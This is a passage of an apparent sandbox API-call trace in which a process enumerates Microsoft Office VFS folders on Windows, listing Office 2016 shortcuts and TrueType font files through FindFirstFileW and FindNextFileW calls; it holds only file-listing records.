ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0 [0284.214] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0284.214] GetProcessHeap () returned 0xaf0000 [0284.214] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0284.215] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1 [0284.215] GetProcessHeap () returned 0xaf0000 [0284.215] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0284.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0284.216] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.216] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245644bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245644bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access 2016.lnk", cAlternateFileName="ACCESS~1.LNK")) returned 1 [0284.216] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245644bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245644bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel 2016.lnk", cAlternateFileName="EXCEL2~1.LNK")) returned 1 [0284.216] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2016 Tools", cAlternateFileName="MICROS~1")) returned 1 [0284.216] GetProcessHeap () returned 0xaf0000 [0284.216] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0284.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common Programs\\Microsoft Office 2016 Tools\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0284.218] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.218] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database Compare 2016.lnk", cAlternateFileName="DATABA~1.LNK")) returned 1 [0284.218] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2016 Language Preferences.lnk", cAlternateFileName="OFFICE~1.LNK")) returned 1 [0284.219] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2016 Upload Center.lnk", cAlternateFileName="OFFICE~2.LNK")) returned 1 [0284.219] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Server 2016 Accounts.lnk", cAlternateFileName="PROJEC~1.LNK")) returned 1 [0284.219] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype for Business Recording Manager.lnk", cAlternateFileName="SKYPEF~1.LNK")) returned 1 [0284.219] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spreadsheet Compare 2016.lnk", cAlternateFileName="SPREAD~1.LNK")) returned 1 [0284.219] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x730, dwReserved0=0x0, dwReserved1=0x0, cFileName="Telemetry Dashboard for Office 2016.lnk", cAlternateFileName="TELEME~1.LNK")) returned 1 [0284.219] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Telemetry Log for Office 2016.lnk", cAlternateFileName="TELEME~2.LNK")) returned 1 [0284.219] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Telemetry Log for Office 2016.lnk", cAlternateFileName="TELEME~2.LNK")) returned 0 [0284.219] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0284.220] GetProcessHeap () returned 0xaf0000 [0284.221] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0284.221] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0284.221] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2466f613, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2466f613, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2466f613, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote 2016.lnk", cAlternateFileName="ONENOT~1.LNK")) returned 1 [0284.221] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2466f613, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2466f613, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24695725, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook 2016.lnk", cAlternateFileName="OUTLOO~1.LNK")) returned 1 [0284.221] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint 2016.lnk", cAlternateFileName="POWERP~1.LNK")) returned 1 [0284.221] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x6ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project 2016.lnk", cAlternateFileName="PROJEC~1.LNK")) returned 1 [0284.221] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher 2016.lnk", cAlternateFileName="PUBLIS~1.LNK")) returned 1 [0284.222] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype for Business 2016.lnk", cAlternateFileName="SKYPEF~1.LNK")) returned 1 [0284.222] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5277b31, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5277b31, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5277b31, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x6f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio 2016.lnk", cAlternateFileName="VISIO2~1.LNK")) returned 1 [0284.222] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word 2016.lnk", cAlternateFileName="WORD20~1.LNK")) returned 1 [0284.222] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x246bb96e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word 2016.lnk", cAlternateFileName="WORD20~1.LNK")) returned 0 [0284.222] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0284.222] GetProcessHeap () returned 0xaf0000 [0284.222] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0284.223] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0284.223] GetProcessHeap () returned 0xaf0000 [0284.223] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0284.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0284.224] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.224] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="private", cAlternateFileName="")) returned 1 [0284.224] GetProcessHeap () returned 0xaf0000 [0284.224] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0284.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0284.307] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.308] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868d297b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xecf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGENCYB.TTF", cAlternateFileName="")) returned 1 [0284.308] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a9c5a1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe628, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGENCYR.TTF", cAlternateFileName="")) returned 1 [0284.308] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALGER.TTF", cAlternateFileName="")) returned 1 [0284.308] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANTQUAB.TTF", cAlternateFileName="")) returned 1 [0284.308] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANTQUABI.TTF", cAlternateFileName="")) returned 1 [0284.308] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x24664, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANTQUAI.TTF", cAlternateFileName="")) returned 1 [0284.308] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2af54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARIALN.TTF", cAlternateFileName="")) returned 1 [0284.308] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a9c5a1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c204, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARIALNB.TTF", cAlternateFileName="")) returned 1 [0284.309] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARIALNBI.TTF", cAlternateFileName="")) returned 1 [0284.309] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c602ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c384, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARIALNI.TTF", cAlternateFileName="")) returned 1 [0284.309] 